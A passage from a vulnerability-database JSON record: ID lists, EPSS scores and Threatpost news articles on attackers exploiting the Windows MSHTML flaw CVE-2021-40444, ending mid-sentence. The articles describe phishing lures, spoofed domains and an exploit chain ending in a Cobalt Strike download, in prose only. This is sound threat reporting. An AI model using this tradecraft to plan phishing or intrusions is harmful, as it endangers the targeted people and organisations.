"THREATPOST:10245D9804511A09607265485D240FFF", "THREATPOST:10D0F1DDDD6C211DA3CE6395900B7C54", "THREATPOST:1309DBA0F8A2727965C6FA284A002D3B", "THREATPOST:138507F793D8399AF0EE1640C46A9698", "THREATPOST:138F67583DAC26A61D1AB90A018F1250", "THREATPOST:13D4AE4C03A3BF687491FDA1E8D732C7", "THREATPOST:14D52B358840B9265FED987287C1E26E", "THREATPOST:16624FA0DF55AAB9FDB3C14AC91EC9F5", "THREATPOST:16877B149E701CC4DB69E91C567D79CC", "THREATPOST:187B01687ED5D3975CD6E42E84DD9B13", "THREATPOST:19BDD881931703B28F7B93492E0C75FD", "THREATPOST:1A553B57472BB0EB8D69F573B510FDE6", "THREATPOST:1B42481449E86FEA3940A2E1E2634309", "THREATPOST:1BE6320CDA6342E72A5A2DD5E0758735", "THREATPOST:1CC682A86B6D521AD5E357B9DB3A1DFB", "THREATPOST:1EB961A6936CB97E2DE6C0212349367F", "THREATPOST:1F99A9A6A418194B87E5468CC8344FBF", "THREATPOST:20F9B8CE2D092108C0F78EC3E415F6B4", "THREATPOST:2188E3E33D86C2C3DF35253A3ED7FA6C", "THREATPOST:2246F7085606B44A031DC14D1B54B9DB", "THREATPOST:23B6C10D7EF469BE8ED27D1C9AFB526A", "THREATPOST:2707644CA0FB49ADD0ECA1B9AFDA0E8A", "THREATPOST:27C5AA551B5793DEA8848FB76DE52B32", "THREATPOST:280ACEC9B5A634E74F3C321F272C3EF3", "THREATPOST:2C0E12580D3C2F1CE7880F6955D4AA1E", "THREATPOST:305513A61FA2B0EF500854C82DF34A9C", "THREATPOST:31091088EDBCEEF43F75A2BA2387EB5C", "THREATPOST:31D14CEE5977BF71F79F7C30AEC10698", "THREATPOST:34D98758A035C36FED68DDD940415845", "THREATPOST:3697F9293A6DFF6CD5927E9E68FF488A", "THREATPOST:38E044431D55F0A4BC458FF92EB025BF", "THREATPOST:38E8D69F26ADB15A989532924B2A98C4", "THREATPOST:3A1C8593C0AAEFA3AF77D1A207BD0B65", "THREATPOST:3A5F59D56E40560C393A3F69A362A31B", "THREATPOST:3ADFDD3CC93B03F83C2CEC5583B016AB", "THREATPOST:3B06E49AA3C9F001C97038682A9BF73F", "THREATPOST:3B8B02F621E9D9883A541B1B26BDF410", "THREATPOST:3C3F20C93519036CC712D1CA3A6D7C48", "THREATPOST:3DB85AFFEA9491ACBD8909D0CF5FBAEA", "THREATPOST:3EDC338ECB2601F5A49A9ED5E087B776", "THREATPOST:3FDED0EC415BA165368B72AB2A8E1A59", "THREATPOST:40A09F08F388BACF08E0931C6473DE0C", "THREATPOST:40A6B1288BA6177BA30307804BE630D0", "THREATPOST:41B10746D1F4B74DA188CB140A8B2676", "THREATPOST:42AAB266C740220CFF57204DDF71129E", "THREATPOST:436D209F4CB01B99FC9576DFE08DE145", "THREATPOST:45B63C766965F5748AEC30DE709C8003", "THREATPOST:46837E7270195429E1D891848E911254", "THREATPOST:46AF5D5C752ADF689DA52FBDA4644F5D", "THREATPOST:47481707E9A4BF7FC15CC47EC8A8F249", "THREATPOST:48A631F2D45804C677BB672F838F29DA", "THREATPOST:48FD4B4BFA020778797D684672C283B0", "THREATPOST:49177F7B5015CE94637C97F64C2D4138", "THREATPOST:4B8076F30D5D67336733D7FFBCBD929A", "THREATPOST:4C8D995307A845304CF691725B2352A2", "THREATPOST:4C9E0FFA5C914E395A66D2DC65B16649", "THREATPOST:4D63851D1493E3861204B674ADBC7F01", "THREATPOST:4D892A0342695D6703703D63DCC1877C", "THREATPOST:4EEFA1A0FABB9A6E17C3E70F39EB58FE", "THREATPOST:503327A6AB0C76621D741E281ABCFF77", "THREATPOST:5531DA413E023731C17E5B0771A25B3D", "THREATPOST:57F52943964BADEBC748C4AC796CEEB6", "THREATPOST:590E1D474E265F02BA634F492F728536", "THREATPOST:5B680BEF3CD53FFB3B871FF7365A4C47", "THREATPOST:5B9D3D8DB4BFEDE846215C1877B275ED", "THREATPOST:5C1E777F8F9FC173EF97E95D8AFAA5F2", "THREATPOST:5CCE0C2607242B16B2880B331167526C", "THREATPOST:5F6690E820E1B143D99DD5974300C6FF", "THREATPOST:6067B6D35C99BFCFF226177541A31F69", "THREATPOST:62DC935BF4DB4EF8A4F1E83519B1D5CD", "THREATPOST:647D7D894452D9C46B3E86F5491EED49", "THREATPOST:65DB14FD89BCDBD3391ADD70F1377E70", "THREATPOST:65F4E74D349524EBAC2DA4A4ECF22DD8", "THREATPOST:6675B640474BF8A8A3D049DB0266A118", "THREATPOST:66848A3C9B8917C8F84DFDC04DD5F6D9", "THREATPOST:68B92CE2FE5B31FB78327BDD0AB7F21C", "THREATPOST:6C547AAC30142F12565AB289E211C079", "THREATPOST:6D28B6E17A92FE11F55907C143B3F5DD", "THREATPOST:6D61C560E85ECD0A7A35C55E74849510", "THREATPOST:6F7C157D4D3EB409080D90F02185E728", "THREATPOST:751A0E2371F134F90F39C20AB70C1E2A", "THREATPOST:76A072EE53232EB197F119EC2F7EAA74", "THREATPOST:76A5549135F9D578FFC2C8FACC135193", "THREATPOST:77DB31E826E03EA9D78EE4777986EA49", "THREATPOST:78327DA051387C43A61D82DE6B618D1F", "THREATPOST:795C39123EE147B39072C9434899E8FE", "THREATPOST:796DFA4804FEF04D3787893FCDFF97D2", "THREATPOST:7DDE7BA7A7916763BDDB5D0C565285DA", "THREATPOST:81021088670E95FC0EBB2F53E1FB2AD2", "THREATPOST:8105FA1422BB4E02CD95C23CC7405E26", "THREATPOST:81DEAED9A2A367373ADA49F1CCDCA95D", "THREATPOST:8243943141B8F18343765DA77D33F46C", "THREATPOST:827A7E3B49365A0E49A11A05A5A29192", "THREATPOST:8594A8F12FC5C97E7E62AF7B9BE3F1AA", "THREATPOST:8601D6EF6AB3201E582A218391B19C3F", "THREATPOST:8648A1E46B6EBE5300881DE285C7D080", "THREATPOST:883A7DED46A4E1C743AFFBA7CDCF4400", "THREATPOST:89AA48C3C48FA427AB660EDEE6DBCBE2", "THREATPOST:8A372065BFA1E6839DAF0386E9D8A1F5", "THREATPOST:8B78588647E8548B06361DBB1F279468", "THREATPOST:8D4EA8B0593FD44763915E703BC9AB72", "THREATPOST:8D57BD39C913E8DDC450DD9EF2564C2C", "THREATPOST:8E47F9D5A51C75BA6BB0A1E286296563", "THREATPOST:8FFF44C70736D8E21796B9337E52F29D", "THREATPOST:932AA74F12B9D2AD0E8589AC1A2C1438", "THREATPOST:933913B1D9B9CF84D33FECFC77C2FDC8", "THREATPOST:9374ECD9CCFC891FC2F3B85DF0905A1C", "THREATPOST:95BDCA2096B58A0697E169C01B1E0F09", "THREATPOST:970C9E73DF1FF53D70DB0B66326F3CB0", "THREATPOST:97D06649A596B5E25E2A11E3D275748B", "THREATPOST:97F7CB48069CDF8038E5E49508EFA458", "THREATPOST:987673B6BC03D7371ADC88E9BDA270D5", "THREATPOST:98D815423018872E6E596DAA8131BF3F", "THREATPOST:98F735BF442C3126E4A9FFBB60517B96", "THREATPOST:9922BFA77AFE6A6D35DFEA77A4D195C0", "THREATPOST:99C6C1555ACD07B4925765AED21A360C", "THREATPOST:9D96113FADFD4FBCA9C17B78B53A8C93", "THREATPOST:9E222E9232D1D59183559B17E97BADCD", "THREATPOST:A07707C9B30B86A691C1A24C4DC65EE6", "THREATPOST:A1F3E8AC4878C11E48F90AC47D165F52", "THREATPOST:A6096ACCB3F0C38BC6570E1DDE3E8844", "THREATPOST:A8242348917526090B7A1B23735D5C6C", "THREATPOST:A98C64CB9BDDE55F51C984B749753904", "THREATPOST:AB54F1EB518D88546D1EF9DBA5E1874B", "THREATPOST:ADA9E95C8FD42722E783C74443148525", "THREATPOST:AE9B4708A7A9B6F3A24C35E15C6150A4", "THREATPOST:AFD74E86954C5A08B3F246887333BDF3", "THREATPOST:B04DD1402960F4726546F62371A02B3C", "THREATPOST:B11E42D0B4C56E4CC482DEF6EA0B4AC7", "THREATPOST:B2FEDF3EA50507F526C77105093E8977", "THREATPOST:B318814572E066732E6C32CC147D95E2", "THREATPOST:B3A92C43D5FF3C53BE8EF06C687B80B6", "THREATPOST:B796D491D9E59A6CE14A74FFE427D175", "THREATPOST:B7C8B7F3016D73355C4ED5E05B0E8490", "THREATPOST:B9CCF4B8B7E25CEC369B248303882707", "THREATPOST:BA0FA5036C385C822C787514850A67E5", "THREATPOST:BDCC3D007E103708BD7CA085B29EF2CB", "THREATPOST:BE11CFFFFEA1B470C8A24CA24D76A7C6", "THREATPOST:C3C8E90FB9A6A06B1692D70A51973560", "THREATPOST:C4369D60DE77B747298623D4FD0299B3", "THREATPOST:C4B358E42FF02B710BE90F363212C84F", "THREATPOST:C573D419AD6106E6579CCA4A18E2DBBE", "THREATPOST:C694354BA14A953DAFC9171CB97F0BC2", "THREATPOST:C6D292755B4D35E7E0FD459BBF6AFC7F", "THREATPOST:C754ECCAF3F8A3E6BCD670A88B3E4CAA", "THREATPOST:C9D2DB62AC17B411BFFF253D149E56F2", "THREATPOST:C9FBCC2A1C52CDB54C6AAB18987100F4", "THREATPOST:CAA9AA939562959323A4675228C233A5", "THREATPOST:CD9589D22198CE38A27B7D1434FEE963", "THREATPOST:CEEE25A4A4491980FA1ECB491795DBA9", "THREATPOST:CF3033203781AAC4EAAE83DDCF93ADE8", "THREATPOST:CF4E98EC11A9E5961C991FE8C769544E", "THREATPOST:CF93F3E6D1E96AACFAEE9602C90A711D", "THREATPOST:D098942E4435832E619282E1B92C9E0F", "THREATPOST:D240DF7FEF328139784DBE743FF84E9B", "THREATPOST:D358CF7B956451F0C53F878AF811409F", "THREATPOST:D5E02B5FD2809DCACF41DA1190794921", "THREATPOST:D7D5E283A1FBB50F8BD8797B0D60A622", "THREATPOST:DB4349EAC3DD60D03D1EBDEFF8ABAA8E", "THREATPOST:DC76A72269F271882F45A521CF7C3509", "THREATPOST:DD0FE8D3D9D205FA5CCA65C3EBDD62D2", "THREATPOST:DE6A0C7ECE2973F596891B00DC078055", "THREATPOST:DF2C6B28792FEC8F2404A7DC366B848F", "THREATPOST:E09CE3FA2B76F03886BA3C2D4DB4D8DB", "THREATPOST:E0C8A3622AEF61D726EED997C39BADFE", "THREATPOST:E424D9CD1C692F91FBD97FDDEDBCCE34", "THREATPOST:E60D2D0CCA5A225CA4BF5CEB5C7C3F59", "THREATPOST:E8074A338A246BED98CF95AD4F4E9CAF", "THREATPOST:E8A3AD011F9759F38AAB48D776396878", "THREATPOST:EC28F82F6C3ECD5D0BA7471D5BA50FD6", "THREATPOST:EE0A71A925297032000651C344890BDD", "THREATPOST:F12423DD382283B0E48D4852237679FC", "THREATPOST:F72FDE7CB5D697EFD089937D42475E50", "THREATPOST:F87A6E1CF3889C526FDE8CE50A1B81FF", "THREATPOST:FC38FE49CDC6DFAD4E78D669DBFA5687", "THREATPOST:FDD0C98FAA16831E7A3B7CCE3BFC67FF", "THREATPOST:FDF0EE0C54F947C5167E6B227E92AE63", "THREATPOST:FE7B13B35ED49736C88C39D5279FA3D1"]}, {"type": "trellix", "idList": ["TRELLIX:0BACBA94111E0C364A9A1CCD8BD263DE", "TRELLIX:357BDB16F9C97C350D8CFF381DE2C04E", "TRELLIX:39F5630F37B0A70500113404A73FE414", "TRELLIX:6949BCDE9887B6759BD81365E21DD71C", "TRELLIX:7B9C31B3E2F1A079101A700230D5A5C0", "TRELLIX:908157CFA8050AA23921170E873187E1", "TRELLIX:D57FEAD5DBF6D915430C791AC26C10CC", "TRELLIX:D8DB23FAEBC16DCFBC54050BEBBF650D"]}, {"type": "trendmicroblog", "idList": ["TRENDMICROBLOG:C927C873A9E9A7AF6B74D64EFAFA6B02", "TRENDMICROBLOG:E0C479F55DF4C53A47CA2170110555AE", "TRENDMICROBLOG:E17B66F8728189778826A0F497A540F2"]}, {"type": "typo3", "idList": ["TYPO3-PSA-2021-004"]}, {"type": "ubuntu", "idList": ["USN-5192-1", "USN-5192-2", "USN-5197-1"]}, {"type": "ubuntucve", "idList": ["UB:CVE-2021-4104", "UB:CVE-2021-44228", "UB:CVE-2021-45046"]}, {"type": "veeam", "idList": ["VEEAM:KB4254"]}, {"type": "veracode", "idList": ["VERACODE:33244", "VERACODE:33337", "VERACODE:33348"]}, {"type": "vmware", "idList": ["VMSA-2021-0028.1", "VMSA-2021-0028.10", "VMSA-2021-0028.11", "VMSA-2021-0028.12", "VMSA-2021-0028.13", "VMSA-2021-0028.2", "VMSA-2021-0028.3", "VMSA-2021-0028.4", "VMSA-2021-0028.6", "VMSA-2021-0028.7", "VMSA-2021-0028.8", "VMSA-2021-0028.9"]}, {"type": "wallarmlab", "idList": ["WALLARMLAB:060FBB90648BCDE11554492408AE89C8", "WALLARMLAB:2AAA5E62EED6807B93FB40361B4927CB", "WALLARMLAB:90D3FFE69FF928689D36310EF8B1C4F3", "WALLARMLAB:E86F01AF50087BEB03AAB46947CDE884"]}, {"type": "wordfence", "idList": ["WORDFENCE:107445D672F037011ADA9A0DA9FB8292", "WORDFENCE:45390D67D024DD8C963E18DAE88303B2"]}, {"type": "zdt", "idList": ["1337DAY-ID-37126", "1337DAY-ID-37135", "1337DAY-ID-37136", "1337DAY-ID-37228", "1337DAY-ID-37257", "1337DAY-ID-37264", "1337DAY-ID-37889", "1337DAY-ID-38098"]}]}, "score": {"value": 0.5, "vector": "NONE"}, "epss": [{"cve": "CVE-2021-34527", "epss": "0.970380000", "percentile": "0.995590000", "modified": "2023-03-20"}, {"cve": "CVE-2021-36942", "epss": "0.906330000", "percentile": "0.982290000", "modified": "2023-03-20"}, {"cve": "CVE-2021-40444", "epss": "0.966120000", "percentile": "0.993310000", "modified": "2023-03-20"}, {"cve": "CVE-2021-44228", "epss": "0.975780000", "percentile": "0.999980000", "modified": "2023-03-20"}], "vulnersScore": 0.5}, "_state": {"dependencies": 1677430507, "score": 1684017862, "epss": 1679361349}, "_internal": {"score_hash": "9df4ae98fabe35bb0dd1eb778ecef52d"}}
{"threatpost": [{"lastseen": "2022-03-30T15:11:13", "description": "A [spearphishing](<https://threatpost.com/spearphishing-attack-spoofs-microsoft-office-365/162001/>) campaign targeting Russian citizens and government entities that are not aligned with the actions of the Russian government is the latest in numerous threats that have emerged since Russia invaded the Ukraine in February.\n\nResearchers from MalwareBytes identified a campaign last week that targets entities using websites, social networks, instant messengers and VPN services banned by the Kremlin, according [to a blog post](<https://blog.malwarebytes.com/threat-intelligence/2022/03/new-spear-phishing-campaign-targets-russian-dissidents/>) published Tuesday by Hossein Jazi, manager, threat intelligence analyst at MalwareBytes.\n\nTargets are receiving various emails that they will face charges due to this activity, with a lure to open a malicious attachment or link to find out more, Jazi wrote. The messages purport to be from the \u201cMinistry of Digital Development, Telecommunications and Mass Communications of the Russian Federation\u201d and the \u201cFederal Service for Supervision of Communications, Information Technology and Mass Communications,\u201d he said.\n\nMalwareBytes observed two documents associated with the campaign using the previously identified flaw [dubbed MSHTML](<https://threatpost.com/microsoft-mshtml-ryuk-ransomware/174780/>) and tracked as [CVE-2021-40444](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-40444>). The flaw, which [has been patched](<https://threatpost.com/microsoft-patch-tuesday-exploited-windows-zero-day/169459/>), is a remote-code execution (RCE) vulnerability in Windows that allows attackers to craft malicious Microsoft Office documents.\n\n\u201cEven though CVE-2021-40444 has been used in a few attacks in the past, to the best of our knowledge this was the first time we observed an attacker use RTF files instead of Word documents to exploit this vulnerability,\u201d Jazi wrote.\n\nMoreover, the threat actor used a new variant of an MSHTML exploit called CABLESS in the campaign, researchers said. [Sophos](<https://news.sophos.com/en-us/2021/12/21/attackers-test-cab-less-40444-exploit-in-a-dry-run/>) previously reported an attack that used this variant; however, in that case the actor did not use an RTF file, Jazi observed in the post.\n\nThe campaign also deviates from most other cyber threats that have arisen since Russia invaded Ukraine on Feb. 24, which typically tend to attack [targets in Ukraine](<https://threatpost.com/destructive-wiper-organizations-ukraine/178937/>) or others sympathetic to the war-torn country\u2019s cause.\n\n## **Attack Sequence**\n\nResearchers intercepted a number of emails being used in campaigns, all of which are in the Russian language. One in particular that they observed is a letter to a target about limitation of access to the Telegram application in Russia, according to the post.\n\nThe email includes an RTF with an embedded url that downloads an HTML file that exploits the MSHTML bug, researchers said. The HTML file contains a script that executes the script in Windows Script Host (WSF) data embedded in the RTF file, which contains a JavaScript code that can be accessed from a remote location.\n\n\u201cIn this case, this data has been accessed using the downloaded HTML exploit file,\u201d Jazi explained. \u201cExecuting this script leads to spawning PowerShell to download a CobaltStrike beacon from the remote server and execute it on the victim\u2019s machine.\u201d\n\n## **Potentially CarbonSpider at Work?**\n\nResearchers are unsure who is behind the campaign but noted the similarity of the lure as one used before and linked to the threat group [CarbonSpider](<https://prod.adversary.crowdstrike.cloud.jam3.net/en-US/adversary/carbon-spider/>), which in the past has targeted Russian financial institutions.\n\nA previous CarbonSpider campaign also used an email template claiming to be from the Federal Service for Supervision of Communications, Information Technology and Mass Communications as a lure, according to the post. In that campaign, the threat actor deployed a PowerShell-based remote-access trojan (RAT) in an obfuscated PowerShell script that used a combination of Base64 and custom obfuscation, according to the post.\n\nHidden inside the script was a RAT that could move the attack to the next stage and execute various payloads, including a JavaScript, PowerShell, Executable or DLL.\n\n\u201cThis RAT starts its activity by setting up some configurations which include the [command-and-control, or C2] URL, intervals, debug mode and a parameter-named group that initialized with \u2018Madagascar\u2019 which probably is the alias of the threat actor,\u201d Jazi wrote.\n\nBased on MalwareBytes\u2019 observations of the domains targeted in the campaign, potential victims are from a number of regional and federal government organizations, including: the authorities of the Chuvash Republic Official internet portal; the Russian Ministry of Internal Affairs; the Ministry of Education and Science of the Republic of Altai; the Ministry of Education of the Stavropol Territory; the Minister of Education and Science of the Republic of North Ossetia-Alania; and the Ministry of Science and Higher Education of the Russian Federation.\n\n**_Moving to the cloud? Discover emerging cloud-security threats along with solid advice for how to defend your assets with our _**[**_FREE downloadable eBook_**](<https://bit.ly/3Jy6Bfs>)**_, \u201cCloud Security: The Forecast for 2022.\u201d_** **_We explore organizations\u2019 top risks and challenges, best practices for defense, and advice for security success in such a dynamic computing environment, including handy checklists._**\n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "CHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 10.0, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 6.0}, "published": "2022-03-30T13:13:49", "type": "threatpost", "title": "MSHTML Flaw Exploited to Attack Russian Dissidents", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 9.3, "vectorString": "AV:N/AC:M/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-40444", "CVE-2021-44228"], "modified": "2022-03-30T13:13:49", "id": "THREATPOST:A98C64CB9BDDE55F51C984B749753904", "href": "https://threatpost.com/mshtml-flaw-exploited-to-attack-russian-dissidents/179150/", "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2022-03-18T14:56:17", "description": "Google\u2019s Threat Analysis Group (TAG) has provided a rare look inside the operations of a cybercriminal dubbed \u201cExotic Lily,\u201d that appears to serve as an initial-access broker for both Conti and Diavol ransomware gangs.\n\nResearchers\u2019 analysis exposes the business-like approach the group takes to brokering initial access into organizations\u2019 networks through a range of tactics so its partners can engage in further malicious activity.\n\nWhile ransomware actors tend to get most of the attention, they can\u2019t do their dirty work without first gaining access to an organization\u2019s network. This is often the job of what are called initial-access brokers (IABs), or \u201cthe opportunistic locksmiths of the security world,\u201d as Google TAG calls them in [a blog post](<https://blog.google/threat-analysis-group/exposing-initial-access-broker-ties-conti/>) published Thursday.\n\n\u201cIt\u2019s a full-time job,\u201d Google TAG researchers Vlad Stolyarov and Benoit Sevens wrote in the post. \u201cThese groups specialize in breaching a target in order to open the doors \u2014 or the Windows \u2014 to the malicious actor with the highest bid.\u201d\n\nGoogle TAG first encountered Exotic Lily last September, when the group was doing just that \u2014 exploiting the [zero-day Microsoft flaw](<https://threatpost.com/microsoft-mshtml-ryuk-ransomware/174780/>) in MSHTML ([CVE-2021-40444](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-40444>)) as part of what turned out to be a full-time IAB business \u201cclosely linked with data exfiltration and deployment of human-operated ransomware such as Conti and Diavol,\u201d researchers wrote.\n\nAt the peak of the group\u2019s activity, Exotic Lily \u2014 which researchers believe is working with the Russian cybercrime gang known as FIN12, [Wizard Spider](<https://threatpost.com/wizard-spider-upgrades-ryuk-ransomware/149853/>) or DEV-0413 \u2014 was sending more than 5,000 emails a day to as many as 650 targeted organizations globally, they said.\n\n\u201cUp until November 2021, the group seemed to be targeting specific industries such as IT, cybersecurity and healthcare, but as of late we have seen them attacking a wide variety of organizations and industries, with less specific focus,\u201d researchers wrote in the post.\n\n## **Soup to Nuts**\n\nExotic Lily works ostensibly as a full-time cybercrime business, which might be described as a \u201csoup to nuts\u201d organization if it were actually a legitimate company.\n\nThe group has maintained a \u201crelatively consistent attack chain\u201d during the time it was being tracked by researchers with its operators \u201cworking a fairly typical 9-to-5 job, with very little activity during the weekends,\u201d researchers wrote. Working hours indicated that the group is likely operating out of a Central or Eastern European time zone.\n\nThe group\u2019s tactics include initial activity to build fake online personas\u2014including social-media profiles with AI-generated photos\u2014that spoof both identities and company domains to ensure it appears as an authentic entity to its targets when carrying out phishing, researchers revealed.\n\nIn fact, in November, Google TAG observed the group impersonating real company employees by copying their personal data from social media and business databases such as RocketReach and CrunchBase.\n\n\u201cIn the majority of cases, a spoofed domain name was identical to a real domain name of an existing organization, with the only difference being a change of TLD to \u201c.us\u201d, \u201c.co\u201d or \u201c.biz,\u201d researchers wrote.\n\n## **Full-Time Phishing Business**\n\nWhile bug exploitation is part of its work as noted, Exotic Lily\u2019s main business operation is to use these spoofed email accounts to send [spear-phishing](<https://threatpost.com/spear-phishing-exploits-glitch-steal-credentials/176449/>) emails. They often purport to be a business proposal, such as seeking to outsource a software-development project or an information-security service.\n\nOne unique aspect of the group\u2019s method is to engage in more follow-up communications with targets than most cybercriminals behind phishing campaigns typically do, researchers observed. This activity includes operators\u2019 attempting to schedule a meeting to discuss a project\u2019s design or requirements or engaging in other communication to gain affinity and trust, they said.\n\nIn its final attack stage, Exotic Lily uploads an ultimate payload to a public file-sharing service such as TransferNow, TransferXL, WeTransfer or OneDrive, and then uses a built-in email notification feature to share the file with the target.\n\nThis tactic serves to help the group\u2019s malicious motives evade detection, as the final email originates from the email address of a legitimate file-sharing service and not the attacker\u2019s email, researchers noted.\n\n## **Payload Delivery**\n\nTypically, the actors upload another group\u2019s malware to the file-sharing service prior to sharing it with the target, researchers said. While some samples of malware appear custom, Google TAG doesn\u2019t think it\u2019s Exotic Lily who\u2019s developing these binaries.\n\nThough their first observation of the group was the use of documents exploiting the MSHTML bug, researchers later observed Exotic Lily changing its delivery tactics to use ISO archives that include shortcuts to the [BazarLoader dropper](<https://threatpost.com/bazarloader-malware-slack-basecamp/165455/>), according to the post.\n\nThis month, Google observed the group delivering ISO files with a custom loader that drops malware dubbed Bumblebee, which uses Windows Management Instrumentation (WMI) to collect various system details such as OS version, username and domain name. These details are then exfiltrated in JSON format to a command-and-control server (C2), researchers said.\n\nBumblebee also can execute commands and code from the C2, and in recent activity was seen fetching Cobalt Strike payloads to be executed on targeted systems, they added.\n\n**_Moving to the cloud? Discover emerging cloud-security threats along with solid advice for how to defend your assets with our _**[**_FREE downloadable eBook_**](<https://bit.ly/3Jy6Bfs>)**_, \u201cCloud Security: The Forecast for 2022.\u201d_** **_We explore organizations\u2019 top risks and challenges, best practices for defense, and advice for security success in such a dynamic computing environment, including handy checklists._**\n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "CHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 10.0, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 6.0}, "published": "2022-03-18T14:49:01", "type": "threatpost", "title": "Google Blows Lid Off Conti, Diavol Ransomware Access-Broker Ops", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 9.3, "vectorString": "AV:N/AC:M/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-40444", "CVE-2021-44228"], "modified": "2022-03-18T14:49:01", "id": "THREATPOST:B2FEDF3EA50507F526C77105093E8977", "href": "https://threatpost.com/google-conti-diavol-ransomware-access-broker/178981/", "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2021-09-17T12:16:20", "description": "Criminals behind the Ryuk ransomware were early exploiters of the Windows MSHTML flaw, actively leveraging the bug in campaigns ahead of a patch released by [Microsoft](<https://threatpost.com/microsoft-patch-tuesday-exploited-windows-zero-day/169459/>) this week.\n\nCollaborative research by Microsoft and RiskIQ revealed campaigns by Ryuk threat actors early on that exploited the flaw, tracked as [CVE-2021-40444](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-40444>). The bug is a remote code execution (RCE) vulnerability in Windows that allows attackers to craft malicious Microsoft Office documents. The two [released](<https://www.microsoft.com/security/blog/2021/09/15/analyzing-attacks-that-exploit-the-mshtml-cve-2021-40444-vulnerability/>) [separate reports](<https://www.riskiq.com/blog/external-threat-management/wizard-spider-windows-0day-exploit/>) online this week to provide a look into who has been using the flaw\u2013which can be used to hide a malicious ActiveX control in an Office document\u2013in attacks, as well as their potential connections to known criminal groups.\n\n[](<https://threatpost.com/infosec-insider-subscription-page/?utm_source=ART&utm_medium=ART&utm_campaign=InfosecInsiders_Newsletter_Promo/>)\n\nSpecifically, most of the attacks that researchers analyzed used MSHTML as part of an initial access campaign that distributed custom Cobalt Strike Beacon loaders, which communicated with an infrastructure that is associated with multiple cybercriminal campaigns\u2013including human-operated ransomware, researchers from the Microsoft 365 Defender Threat Intelligence Team at the Microsoft Threat Intelligence Center (MSTIC) reported.\n\nRiskIQ identified the ransomware infrastructure as potentially belonging to the Russian-speaking [Wizard Spider](<https://threatpost.com/wizard-spider-upgrades-ryuk-ransomware/149853/>) crime syndicate, known to maintain and distribute Ryuk ransomware.\n\n\u201cBased on multiple overlapping patterns in network infrastructure setup and use, we assess with high confidence that the operators behind the zero-day campaign are using infrastructure affiliated with Wizard Spider (CrowdStrike), and/or related groups UNC1878 (FireEye/Mandiant) and Ryuk (public), who continue to use Ryuk/Conti and BazaLoader/BazarLoader malware in targeted ransomware campaigns,\u201d RiskIQ\u2019s Team Atlas wrote in its analysis.\n\nMicrosoft stopped short of specifically identifying the threat actors observed exploiting the MSHTML flaw, instead referring to unidentified perpetrators as \u201cdevelopment groups\u201d using the prefix \u201cDEV\u201d and a number to indicate an emerging threat group.\n\n## **Separate Campaigns, Threat Actors**\n\nIn its analysis, the company cites activity from three DEV groups since August that have been seen in attacks leveraging CVE-2021-40444: DEV-0365, DEV-0193 and DEV-0413.\n\nThe infrastructure the company associates with DEV-0365 was used in the Cobalt Strike campaigns and follow-on activity, indicating \u201cmultiple threat actors or clusters associated with human-operated ransomware attacks (including the deployment of Conti ransomware),\u201d according to researchers. However, DEV-0365 potentially may be involved only as a command-and-control infrastructure as a service for cybercriminals, the company said.\n\n\u201cAdditionally, some of the infrastructure that hosted the oleObjects utilized in the August 2021 attacks abusing CVE-2021-40444 were also involved in the delivery of BazaLoader and Trickbot payloads \u2014 activity that overlaps with a group Microsoft tracks as DEV-0193,\u201d the team said.\n\nMicrosoft attributed another campaign using the vulnerability to a group identified as DEV-0413. This campaign is \u201csmaller and more targeted than other malware campaigns we have identified leveraging DEV-0365 infrastructure,\u201d and was observed exploiting the flaw as early as Aug. 18.\n\nThe campaign used a social-engineering lure that aligned with the business operations of targeted organizations, \u201csuggesting a degree of purposeful targeting,\u201d the company observed.\n\n\u201cThe campaign purported to seek a developer for a mobile application, with multiple application development organizations being targeted,\u201d they wrote. \u201cIn most instances, file-sharing services were abused to deliver the CVE-2021-40444-laden lure.\u201d\n\n## **History of a Vulnerability**\n\nMicrosoft first [revealed](<https://threatpost.com/microsoft-zero-day-rce-flaw-in-windows/169273/>) the MSHTML zero-day vulnerability on Sept. 7, joining the Cybersecurity and Infrastructure Security Agency (CISA) in warning organizations of the bug and urging mitigations in separate alerts released that day.\n\nThe vulnerability allows an attacker to craft a malicious ActiveX control that can be used by a Microsoft Office document that hosts the browser rendering engine, according to Microsoft. \nSomeone would have to open the malicious document for an attack to be successful, the company said. This is why attackers use email campaigns with lures that appear relevant to their targets in the hopes that they will launch embedded documents, researchers said.\n\nIndeed, at least one of the 